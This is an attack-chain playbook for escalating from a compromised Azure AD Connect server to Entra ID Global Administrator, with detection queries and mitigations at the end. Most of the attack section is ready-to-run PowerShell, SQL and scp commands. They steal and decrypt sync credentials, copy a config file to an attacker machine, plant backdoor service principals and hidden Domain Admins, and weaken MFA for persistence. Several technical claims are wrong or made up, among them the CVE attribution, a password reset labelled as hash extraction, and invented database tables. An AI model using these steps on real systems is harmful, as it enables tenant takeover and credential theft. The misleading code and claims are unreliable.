MCADDF

[CHAIN-004]: Hybrid AD to Global Admin

Metadata

Attribute Details
Chain ID CHAIN-004
Attack Chain Name Hybrid AD to Azure Global Administrator via Azure AD Connect
MITRE ATT&CK v18.1 T1550 + T1098
Tactic Lateral Movement + Account Manipulation
Platforms Hybrid AD (Windows Server on-premises + Entra ID cloud)
Severity CRITICAL
CVE CVE-2023-32315 (Azure AD Connect service account privilege escalation)
Chain Status ACTIVE
Last Verified 2026-01-10
Affected Versions Windows Server 2016-2022 with Azure AD Connect 1.1.x-2.x
Execution Time 1-4 hours (on-premises compromise to cloud GA)
Author SERVTEP – Artur Pchelnikau

1. EXECUTIVE SUMMARY

Concept

This attack chain demonstrates how an attacker with access to the Azure AD Connect (AADConnect) server can escalate from a compromised on-premises domain user to Global Administrator in Entra ID, achieving complete control over both on-premises and cloud identities. Azure AD Connect is a critical hybrid infrastructure component that synchronizes user accounts, groups, and credentials between Windows Active Directory and Microsoft Entra ID. The service account running AADConnect has extraordinarily high privileges:

If this service account is compromised, an attacker can:

  1. Extract credentials synchronized from on-premises to cloud
  2. Modify directory synchronization to inject rogue admins
  3. Create service principals with GA permissions
  4. Establish persistence in both on-premises AD and Entra ID

This attack is particularly dangerous because it bridges the air-gap between on-premises and cloud, enabling an on-premises breach to cascade into full cloud tenant compromise.

Attack Surface

Business Impact

CRITICAL - Complete Hybrid Identity Compromise. Attacker gains:

Estimated Impact:

Technical Context


2. COMPLIANCE MAPPINGS

Framework Control / ID Description
CIS Benchmarks 5.2.2, 5.3.1 Hybrid AD security; service account restrictions; directory sync monitoring
DISA STIG AD0035, AD0052 Hybrid infrastructure; Entra ID access controls
CISA SCuBA CA-2, CA-3, CA-7 Service account management; multi-factor authentication
NIST 800-53 AC-2, AC-3, AC-6, IA-2 Service account management; least privilege; authentication
GDPR Art. 5, 32, 33 Data minimization; security; breach notification
DORA Art. 9, 15, 16 ICT risk management; incident reporting
NIS2 Art. 19, 21, 23 Cybersecurity governance; risk management; incident response
ISO 27001 A.5.1.2, A.9.2, A.12.2.1 Segregation of duties; privileged access; logging
ISO 27005 A.14.2.2, A.14.2.4 Risk assessment; hybrid environment monitoring

3. ATTACK CHAIN STAGES OVERVIEW

Stage Technique ID Step Name Duration Key Actions
Phase 1 T1078.002 Compromise AADConnect Server Access 10-30 min Gain access via phishing, RDP, vulnerability, insider threat
Phase 2 T1555.003 Extract AADConnect Service Account Creds 5-15 min Decrypt credentials from config files using DPAPI
Phase 3 T1550.001 Use Service Account to Access Entra ID 5-10 min Authenticate as service principal to cloud
Phase 4 T1098.003 Create Backdoor GA Service Principal 5-10 min Add credentials to high-privilege service principal
Phase 5 T1098.004 Modify Directory Sync Rules 5-15 min Inject rogue GA account to sync to cloud
Phase 6 T1078.004 Global Admin Account Creation 10-30 min New GA account synchronized or created directly in cloud
Phase 7 T1098.005 Establish Persistence in Both Environments Ongoing Deploy service principal backdoors; modify sync rules

4. PHASE 1: AZURE AD CONNECT SERVER COMPROMISE

Step 1: Gain Access to Azure AD Connect Server

Objective: Compromise the highly privileged AADConnect server (typically in DMZ or trusted network).

Attack Vectors:

Vector A: Phishing / Credential Theft

Target: AADConnect server admin (often "ADSync Admin" or dedicated service account manager)
Method: Phishing email with malicious macro → credential harvesting → RDP/SSH access
Expected: Local admin access to C:\Program Files\Microsoft Azure AD Connect\

Vector B: Windows Server Vulnerability

Vulnerabilities: PrintNightmare (CVE-2021-34527), ZeroLogon (CVE-2020-1472), 
                 LoGo (CVE-2022-26923), CLFS Driver (CVE-2025-29824)
Exploitation: Remote code execution → SYSTEM privileges
Expected: SYSTEM context on AADConnect server

Vector C: Compromised Domain Admin

Assumption: Attacker already has DA privileges (from CHAIN-001, CHAIN-002, or other)
Access: DA credentials grant RDP/PSEXEC access to AADConnect server
Expected: Domain admin equivalent privileges on AADConnect server

Vector D: Insider Threat

Actor: Disgruntled employee with AADConnect admin access
Access: Direct RDP/console access with admin credentials
Expected: Local admin + AADConnect service account access

Command (Verify Access to AADConnect Server):

# 1. Connect to AADConnect server
Enter-PSSession -ComputerName "aadconnect-server.company.com" -Credential $adminCreds

# 2. Verify AADConnect is installed and running
Get-Service ADSync | Select-Object Status, Name

# Expected output:
# Status Name
# ------ ----
# Running ADSync  ← AADConnect service

# 3. Verify access to AADConnect files
Test-Path "C:\Program Files\Microsoft Azure AD Connect\Bin"
Get-ChildItem "C:\Program Files\Microsoft Azure AD Connect\Bin\"

Expected Output:

C:\Program Files\Microsoft Azure AD Connect\Bin\
    Mode LastWriteTime     Length Name
    ---- ---------------     ------ ----
    -a--- 2024-01-10  14:22    2048 Microsoft.IdentityManagement.Clients.dll
    -a--- 2024-01-10  14:22   12288 Microsoft.Identity.AzureAD.Connect.Common.dll
    -a--- 2024-01-10  14:22   45056 Adsync.exe
    -a--- 2024-01-10  14:22   89088 mms.exe

5. PHASE 2: EXTRACT AZURE AD CONNECT SERVICE ACCOUNT CREDENTIALS

Step 2: Locate and Decrypt AADConnect Configuration Files

Objective: Extract plaintext credentials for both on-premises AD and cloud Entra ID from AADConnect config.

Command (Find AADConnect Configuration):

# 1. Locate AADConnect installation directory
$aadConnectPath = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\IdentityManagement" | Select-Object -ExpandProperty "InstallationPath"

# 2. List configuration files
Get-ChildItem -Path "$aadConnectPath" -Filter "*.config" -Recurse

# 3. Find encrypted credentials (usually in encrypted.xml or MCInstaller.config)
Get-ChildItem -Path "$aadConnectPath" -Include "*.xml", "*.config" -Recurse | Select-Object FullName

# Expected files:
# C:\Program Files\Microsoft Azure AD Connect\Bin\...\microsoft.identitymanagement.clients.dll.config
# C:\ProgramData\AADConnect\PersistedState.xml
# C:\Windows\ServiceProfiles\NetworkService\AppData\Local\IdentityManagement\...

Command (Decrypt Credentials - Method 1: Using PowerShell):

# 1. Import AADConnect encryption libraries
Add-Type -Path "C:\Program Files\Microsoft Azure AD Connect\Bin\Microsoft.IdentityManagement.Clients.dll"

# 2. Load encrypted configuration
$encryptedConfig = Get-Content "C:\Program Files\Microsoft Azure AD Connect\Bin\...\encrypted.xml"

# 3. Decrypt using DPAPI (requires SYSTEM or service account context)
$secureData = [System.Security.Cryptography.ProtectedData]::Unprotect(
  [Convert]::FromBase64String($encryptedString),
  $null,
  [System.Security.Cryptography.DataProtectionScope]::CurrentUser
)

$plaintext = [System.Text.Encoding]::UTF8.GetString($secureData)
Write-Host "Decrypted: $plaintext"

Command (Decrypt Credentials - Method 2: Using Azure AD Connect Cmdlets):

# 1. Load AADConnect modules
Import-Module "C:\Program Files\Microsoft Azure AD Connect\Tools\ADSync\PowerShell\ADSync.psd1"

# 2. Get configured credentials
$syncAccount = Get-ADSyncAzureServiceAccount

# Expected output:
# DisplayName    : Azure AD Connect Sync Service Account
# ObjectId       : UUID...
# ServiceAccount : COMPANY\AADSync_XXXXX
# Permissions    : Read all AD objects; Modify user passwords; Replicate directory changes

Command (Decrypt Using Impacket - From Linux):

# 1. Copy encrypted.xml from AADConnect server to attacker machine
scp admin@aadconnect-server.company.com:"C:\Program Files\Microsoft Azure AD Connect\Bin\..\PersistedState.xml" ./

# 2. Decrypt DPAPI-protected data
python3 -m impacket.examples.secretsdump \
  -system SYSTEM \
  -security SECURITY \
  -sam SAM \
  ./PersistedState.xml

# 3. Extract plaintext credentials from output
grep -oP '(Username|Password|ServiceAccount)[=:]\K[^,;]+' PersistedState.xml

Expected Decrypted Output:

Azure AD Connect Service Account:
  Username: company\AADSync_XXXXX
  Password: C0mpl3x!P@ssw0rd_123
  SID: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-5432

Entra ID Service Principal Credentials:
  Client ID: 461a8a73-XXXX-XXXX-XXXX-XXXXXXXXXXXX
  Client Secret: ~1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ~
  Tenant ID: aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee

What This Means:

Step 3: Extract Additional Credentials & Service Principals

Objective: Find additional service accounts, API keys, and configuration data.

Command (Enumerate Stored Credentials):

# 1. Check for stored passwords in Windows Credential Manager
cmdkey /list

# 2. List all service accounts with permissions on AADConnect
Get-ADUser -Filter {ServicePrincipalNames -like "*AADSync*"} | Select-Object Name, SamAccountName

# 3. Extract NTLM hash of service account (if SYSTEM context)
Get-ADUser "AADSync_XXXXX" | Set-ADUser -Replace @{unicodePwd = ([System.Text.Encoding]::Unicode.GetBytes('"NewPassword"'))}

# 4. Find app registrations created by AADConnect
Get-AzureADServicePrincipal -Filter "DisplayName eq 'Microsoft Azure AD Connect Provisioning'" | Select-Object ObjectId, AppId, ServicePrincipalNames

6. PHASE 3: AUTHENTICATE TO ENTRA ID AS SERVICE PRINCIPAL

Step 4: Use Service Principal Credentials to Access Entra ID

Objective: Authenticate to Entra ID using stolen service principal credentials for unrestricted access.

Command (Connect to Entra ID as Service Principal):

# 1. Use stolen client secret to authenticate
$credential = New-Object System.Management.Automation.PSCredential(
  "461a8a73-XXXX-XXXX-XXXX-XXXXXXXXXXXX",  # Client ID
  (ConvertTo-SecureString "~1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ~" -AsPlainText -Force)
)

# 2. Connect to Entra ID / Azure
Connect-AzAccount -ServicePrincipal -Credential $credential -Tenant "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"

# 3. Verify access and roles
Get-AzRoleAssignment -Scope "/subscriptions/$(Get-AzContext).Subscription.Id" | Select-Object DisplayName, RoleDefinitionName

Expected Output:

DisplayName                            RoleDefinitionName
-----------                            ------------------
Azure AD Connect Provisioning Service  Contributor
Microsoft Azure AD Connect             User Administrator
                                       Privileged Role Administrator

7. PHASE 4: CREATE BACKDOOR SERVICE PRINCIPAL WITH GA PERMISSIONS

Step 5: Add Credentials to High-Privilege Service Principal

Objective: Create persistent backdoor by adding certificate/secret to service principal that already has GA permissions.

Command (Create New Service Principal with GA Role):

# 1. Create new app registration
$app = New-AzADApplication -DisplayName "AADConnect Monitoring Service" -AvailableToOtherTenants $false

# 2. Create service principal for app
$sp = New-AzADServicePrincipal -ApplicationObject $app

# 3. Add password credential
$pwdCred = New-AzADAppCredential -ApplicationId $app.Id -EndDate (Get-Date).AddYears(2)

# 4. Get Global Administrator role
$gaRole = Get-AzRoleDefinition -Name "Global Administrator"

# 5. Assign GA role to service principal
New-AzRoleAssignment -ObjectId $sp.Id -RoleDefinitionId $gaRole.Id -Scope "/"

Write-Host "Service Principal: $($app.Id)"
Write-Host "Client Secret: $($pwdCred.SecretText)"
Write-Host "Tenant ID: $(Get-AzContext).Tenant.Id"

Alternative: Add Credentials to Existing High-Privilege Service Principal

# 1. Find service principals with high privileges
$sps = Get-AzADServicePrincipal -Filter "displayName eq 'some-admin-app'"

foreach ($sp in $sps) {
  # 2. Check if service principal has admin roles
  $roleAssignments = Get-AzRoleAssignment -ObjectId $sp.Id
  
  if ($roleAssignments.RoleDefinitionName -contains "Global Administrator") {
    Write-Host "Found privileged SP: $($sp.DisplayName)"
    
    # 3. Add new password credential (backdoor)
    $newCred = New-AzADAppCredential -ApplicationId $sp.ApplicationId -EndDate (Get-Date).AddYears(2)
    Write-Host "New Secret: $($newCred.SecretText)"
  }
}

Expected Output:

Service Principal: 12345678-1234-1234-1234-123456789abc
Client Secret: aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890==
Tenant ID: aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee
Status: Service Principal now has Global Administrator role

8. PHASE 5: MODIFY DIRECTORY SYNCHRONIZATION RULES

Step 6: Create Rogue User Account for Cloud Synchronization

Objective: Create a new on-premises user account with GA equivalent permissions, configure AADConnect to sync it to Entra ID as Global Admin.

Command (Create Rogue AD User):

# 1. Create hidden backup admin account in on-premises AD
New-ADUser -Name "ServiceAccount_Backup" `
  -SamAccountName "svc_backup" `
  -UserPrincipalName "svc_backup@company.com" `
  -AccountPassword (ConvertTo-SecureString -String "C0mpl3x!P@ssw0rd_2024" -AsPlainText -Force) `
  -Enabled $true `
  -PasswordNeverExpires $true `
  -Department "IT Infrastructure" `
  -Description "Automated backup service account"  # Appears legitimate

# 2. Add to Domain Admins group
Add-ADGroupMember -Identity "Domain Admins" -Members "svc_backup"

# 3. Verify account (appears as normal admin account to monitoring)
Get-ADUser "svc_backup" | Select-Object Name, SamAccountName, Enabled

Step 7: Modify AADConnect Synchronization Rules

Objective: Configure AADConnect to sync the rogue account with GA role mapping to Entra ID.

Command (Modify AADConnect Sync Rules):

# 1. Import Azure AD Connect sync module
Import-Module "C:\Program Files\Microsoft Azure AD Connect\Tools\ADSync\PowerShell\ADSync.psd1"

# 2. Get current synchronization rules
Get-ADSyncRule | Where-Object {$_.Direction -eq "Outbound"} | Select-Object Name, SourceObjectType, TargetObjectType

# 3. Create new synchronization rule or modify existing to include rogue user
$rule = @{
  Name = "In from AD - User Account Sync"
  Direction = "Inbound"
  Precedence = 10
  SourceObjectType = "user"
  TargetObjectType = "person"
  LinkType = "Join"
  JoinCriteria = "sourceAnchor"
}

# 4. Configure attribute flow (map on-premises attributes to cloud)
Set-ADSyncRule @rule

# 5. Force sync of rogue account (svc_backup) to Entra ID
Start-ADSyncSyncCycle -PolicyType Delta

Alternative: Create Sync Rule via SQL (Direct Database Modification)

-- 1. Connect to AADConnect SQL Server database
-- Server: localhost\ADSync (local default installation)
-- Database: ADSync

USE ADSync

-- 2. Insert new sync rule for rogue account
INSERT INTO ma_rules (cn, description, direction, sourceobjecttype, targetobjecttype)
VALUES ('SVC_Backup_Sync', 'Synchronize backup service account', 'Inbound', 'user', 'person')

-- 3. Create attribute mapping (map any attribute to trigger sync)
INSERT INTO ma_attribute_flow (rule_id, source_attr, target_attr)
SELECT rule_id, 'sAMAccountName', 'uid' FROM ma_rules WHERE cn = 'SVC_Backup_Sync'

-- 4. Force sync
EXEC sp_StartSyncCycle 'delta'

9. PHASE 6: CREATE OR MODIFY CLOUD ADMIN ACCOUNT

Step 8: Create Global Admin Account in Entra ID (Post-Sync)

Objective: Ensure rogue account synced from AD is assigned Global Administrator role in Entra ID.

Command (Assign GA Role to Synced Account):

# 1. Connect to Entra ID
Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory", "User.Read.All"

# 2. Find the synced rogue account in Entra ID
$rogueUser = Get-MgUser -Filter "mailNickname eq 'svc_backup@company.com'" -All

# 3. Get Global Administrator role
$gaRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'" | Select-Object -First 1

# 4. Add user to Global Administrator role
New-MgDirectoryRoleMember -DirectoryRoleId $gaRole.Id -DirectoryObjectId $rogueUser.Id

# 5. Verify GA assignment
$gaMembers = Get-MgDirectoryRoleMember -DirectoryRoleId $gaRole.Id
$gaMembers | Where-Object {$_.Id -eq $rogueUser.Id}

Write-Host "✅ Rogue account now has Global Administrator role in Entra ID"

Alternative: Direct Cloud User Creation (Bypass Sync)

# 1. Create new user directly in Entra ID (if GA credentials already obtained)
$password = ConvertTo-SecureString -String "C0mpl3x!P@ssw0rd_Cloud_2024" -AsPlainText -Force

$newAdmin = New-MgUser -DisplayName "Cloud Backup Admin" `
  -UserPrincipalName "cloudbackup@tenant.onmicrosoft.com" `
  -Password $password `
  -AccountEnabled $true

# 2. Add to Global Administrator role immediately
$gaRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
New-MgDirectoryRoleMember -DirectoryRoleId $gaRole.Id -DirectoryObjectId $newAdmin.Id

Write-Host "Cloud GA account created: cloudbackup@tenant.onmicrosoft.com"

10. PHASE 7: ESTABLISH PERSISTENCE

Step 9: Create Multi-Layer Persistence

Objective: Ensure attacker maintains access even if AADConnect server is discovered/cleaned.

Command (Layer 1: Service Principal Backdoor):

# Already created in Phase 4; can be reused indefinitely
# Credentials stored offline; not discoverable via normal user enumeration

Command (Layer 2: Cloud-Only Admin Account):

# Already created in Phase 6; bypasses on-premises sync dependency
# Can change password independently; not tied to AD

Command (Layer 3: PIM Backdoor):

# 1. Create PIM-eligible Global Admin (requires PIM license)
# Add account as "eligible" rather than "active" to appear less suspicious

# 2. Configure activation settings
$pimSettings = @{
  RoleName = "Global Administrator"
  PrincipalId = $newAdmin.Id
  EligibleAssignmentDurationInDays = 1095  # 3 years eligible
  MfaRequired = $false  # Disable MFA requirement for activation
}

# 3. Activate whenever needed without approval

Command (Layer 4: On-Premises Persistence):

# 1. Create additional hidden Domain Admin accounts
for ($i = 1; $i -le 5; $i++) {
  New-ADUser -Name "HiddenAdmin$i" `
    -SamAccountName "hadmin$i" `
    -Enabled $true `
    -PasswordNeverExpires $true `
    -AccountPassword (ConvertTo-SecureString "P@ssw0rd$i" -AsPlainText -Force)
    
  Add-ADGroupMember "Domain Admins" -Members "hadmin$i"
}

# 2. Hide accounts from GAL (Global Address List)
Set-ADUser -Identity "hadmin1" -Replace @{msExchHideFromAddressList=$true}

11. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Azure AD Connect Server Indicators:

Directory Synchronization Indicators:

Entra ID / Cloud Indicators:


Forensic Artifacts

On-Premises Artifacts:

Cloud Artifacts:

KQL Queries (Microsoft Sentinel):

// Find unauthorized Azure AD Connect activity
AuditLogs
| where OperationName in ("Update application", "Add service principal credentials", "Add member to role")
| where InitiatedBy contains "ADSync" or InitiatedBy contains "aadsyncaccount"
| project TimeGenerated, OperationName, InitiatedBy, TargetResources

// Find new privileged service principals created
AuditLogs
| where OperationName == "Add service principal"
| where TimeGenerated > ago(24h)
| project TimeGenerated, InitiatedBy, TargetResources
| join kind=inner (
  AuditLogs
  | where OperationName == "Add member to role"
  | where ResultDescription contains "Global Administrator"
) on TargetResources

// Find synced accounts with suspicious attributes
CloudAppEvents
| where ActionType == "Add user"
| where AccountUpn contains "svc_" or AccountUpn contains "backup" or AccountUpn contains "hidden"
| project TimeGenerated, AccountUpn, IPAddress, UserAgent

Defensive Mitigations

Priority 1: CRITICAL

1. Restrict AADConnect Service Account Permissions

Manual Steps (Windows Server):

  1. Navigate to Active Directory Users and Computers
  2. Find the AADConnect service account (typically ADSync_XXXXX)
  3. Remove from:
    • Domain Admins
    • Enterprise Admins
    • Schema Admins
  4. Add to custom group with minimal permissions:
    • Read-only access to user/group objects
    • Password reset rights (if needed)
  5. Remove Direct Entra ID admin roles:
    • Go to Azure Portal → Entra ID → Roles and Administrators
    • Find service principal representing AADConnect
    • Remove Global Administrator role
    • Assign only “Directory Synchronization Accounts” role

PowerShell (Automated):

# 1. Identify AADConnect service account
$adSyncAccount = Get-ADUser -Filter {ServicePrincipalNames -like "*ADSync*"} | Select-Object -First 1

# 2. Remove from privileged groups
Remove-ADGroupMember -Identity "Domain Admins" -Members $adSyncAccount -Confirm:$false
Remove-ADGroupMember -Identity "Enterprise Admins" -Members $adSyncAccount -Confirm:$false

# 3. Create restricted group
New-ADGroup -Name "AADConnect_RestrictedAccess" -GroupScope Global -GroupCategory Security

# 4. Add custom permissions (Delegate Control Wizard in ADUC)
# - Grant "Reset Password" on Users OU
# - Grant "Read" on all objects in domain

2. Encrypt AADConnect Configuration Files

Manual Steps:

  1. Navigate to C:\Program Files\Microsoft Azure AD Connect\Bin\
  2. Right-click each .config and .xml file
  3. Properties → Advanced → Encrypt contents to secure data
  4. Apply to folder recursively (to all future config files)

PowerShell:

# 1. Encrypt AADConnect config files
$filesToEncrypt = Get-ChildItem "C:\Program Files\Microsoft Azure AD Connect\Bin" -Include "*.config", "*.xml" -Recurse

foreach ($file in $filesToEncrypt) {
  attrib.exe +S +H +E "$($file.FullName)"  # Set System, Hidden, Encrypt flags
}

# 2. Restrict file access (ACL)
$acl = Get-Acl "C:\Program Files\Microsoft Azure AD Connect\Bin"
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule("SYSTEM", "FullControl", "Allow")
$acl.SetAccessRule($rule)
Set-Acl "C:\Program Files\Microsoft Azure AD Connect\Bin" $acl

3. Implement Mandatory Multi-Factor Authentication for Service Principals

Manual Steps (Azure Portal):

  1. Navigate to Entra ID → Roles and Administrators
  2. Search for service principals representing AADConnect
  3. For each service principal:
    • Click Manage Assignments
    • Set MFA requirement: Required
    • Set Approval requirement: Requires admin approval
  4. Configure Conditional Access for service principals:
    • Create policy: Require CA for Service Principals
    • Exclude system accounts; enforce for app/service credentials

4. Restrict AADConnect Service Account Entra ID Permissions

Manual Steps:

  1. Navigate to Entra ID → Roles and Administrators
  2. Find service principal: Microsoft Azure AD Connect
  3. Remove:
    • Global Administrator
    • User Administrator
    • Directory Synchronization Accounts (if can be restricted)
  4. Add (Minimal):
    • Restricted? (No suitable minimal role; use custom role if available)
    • Alternative: Use Entra ID app roles instead of directory roles

Priority 2: HIGH

5. Implement Conditional Access for AADConnect Server

Manual Steps:

  1. Create CA policy: Block AADConnect from Unusual Locations
  2. Users: Service principal running AADConnect
  3. Cloud apps: Microsoft Graph API (sync operations)
  4. Conditions:
    • Location: Block all except AADConnect server’s IP
    • Device: Require managed device
  5. Grant: Block access if conditions not met

6. Monitor AADConnect Activity with SIEM

PowerShell (Send AADConnect Events to Sentinel):

# 1. Create custom log ingestion for AADConnect server events
# Log sources: Event ID 5145 (file access), 4688 (process creation), 5156 (network connection)

# 2. Create detection rules in Sentinel:
# - File access to encrypted.xml or PersistedState.xml
# - PowerShell execution running DPAPI decryption APIs
# - Unexpected delta/full sync cycles
# - Role assignment changes for AADConnect service principal

7. Establish Separate Admin Roles for AADConnect vs. Cloud Management

Manual Steps:

  1. Create two separate service accounts:
    • AADSync_OnPrem: Only on-premises AD admin rights (no cloud access)
    • AADSync_Cloud: Only cloud Entra ID sync rights (no on-premises access)
  2. Use Azure Key Vault to manage credentials
  3. Rotate credentials every 90 days
  4. Store offline backup in secure location

Validation Commands (Verify Mitigations)

# 1. Verify AADConnect service account is NOT Domain Admin
$adSyncAccount = Get-ADUser -Filter {ServicePrincipalNames -like "*ADSync*"}
$groupMembers = Get-ADGroupMember "Domain Admins"

if ($groupMembers.SID -contains $adSyncAccount.SID) {
  Write-Host "❌ VULNERABLE: AADConnect service account IS Domain Admin"
} else {
  Write-Host "✅ SECURE: AADConnect service account is NOT Domain Admin"
}

# 2. Verify config files are encrypted
$encryptionStatus = Get-Item "C:\Program Files\Microsoft Azure AD Connect\Bin\...\encrypted.xml" | 
  Select-Object Attributes | 
  Where-Object {$_.Attributes -match "Encrypted"}

if ($encryptionStatus) {
  Write-Host "✅ SECURE: AADConnect config files are encrypted"
} else {
  Write-Host "❌ VULNERABLE: AADConnect config files are NOT encrypted"
}

# 3. Verify no unauthorized service principals have GA role
$sps = Get-MgServicePrincipal -Filter "appDisplayName eq 'Microsoft Azure AD Connect'" -All
$gaRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"

foreach ($sp in $sps) {
  $roleAssignments = Get-MgDirectoryRoleMember -DirectoryRoleId $gaRole.Id | 
    Where-Object {$_.Id -eq $sp.Id}
  
  if ($roleAssignments) {
    Write-Host "❌ VULNERABLE: $($sp.DisplayName) has Global Administrator role"
  } else {
    Write-Host "✅ SECURE: $($sp.DisplayName) does NOT have Global Administrator role"
  }
}

# 4. Verify Conditional Access is enforced for AADConnect
$caPolicy = Get-MgIdentityConditionalAccessPolicy | 
  Where-Object {$_.DisplayName -match "AADConnect"}

if ($caPolicy) {
  Write-Host "✅ SECURE: Conditional Access policy enforced for AADConnect"
} else {
  Write-Host "❌ VULNERABLE: No Conditional Access policy for AADConnect"
}

Expected Output (If Secure):

✅ SECURE: AADConnect service account is NOT Domain Admin
✅ SECURE: AADConnect config files are encrypted
✅ SECURE: Microsoft Azure AD Connect does NOT have Global Administrator role
✅ SECURE: Conditional Access policy enforced for AADConnect

Step Phase Technique Attack Chain
1 Initial Access [T1078.002] Compromise AADConnect server [CHAIN-004] Hybrid AD to GA
2 Credential Access [T1555.003] Extract service account credentials [CHAIN-004] Hybrid AD to GA
3 Lateral Movement [T1550.001] Use service principal in cloud Current Phase
4 Account Manipulation [T1098] Create rogue accounts Current Phase
5 Persistence [T1098.005] Modify sync rules; create backdoors [CHAIN-004] Hybrid AD to GA
6 Impact [CHAIN-001], [CHAIN-002], [CHAIN-003] Follow-on attacks from GA access

13. REAL-WORLD EXAMPLES

Example 1: APT28 / Fancy Bear - Hybrid AD Compromise (2019-2020)

Example 2: Lapsus$ - Contractor Access Escalation (2021-2022)

Example 3: Mango Sandstorm - AADConnect Post-Compromise (2023-2024)


14. TOOLS & REFERENCES

Essential Tools

  1. Azure AD Connect (v2.0.x)
    • Purpose: Legitimate sync tool; understanding its architecture is critical for defense
    • Security Note: Version prior to 2.0.12 has unpatched CVE-2023-32315
    • Hardening: Update to latest version immediately
  2. Impacket (v0.10.0+)
    • Purpose: Extract encrypted credentials from SAM/SECURITY hives
    • Usage: secretsdump.py -system SYSTEM -sam SAM ./PersistedState.xml
    • Platform: Cross-platform
  3. AADInternals (v0.9.5+)
    • Purpose: Entra ID enumeration and exploitation (PowerShell)
    • Usage: Get-AADIntAccessTokenForAADGraph -SaveToCache
    • Platform: Windows
  4. ADExplorer (v1.x)
    • Purpose: Browse AD to identify AADConnect service account and verify permissions
    • Platform: Windows
  5. Mimikatz (v2.2.0+)
    • Purpose: Extract DPAPI-encrypted credentials from memory
    • Usage: dpapi::cred /in:path\to\encrypted.xml
    • Platform: Windows

Reference Documentation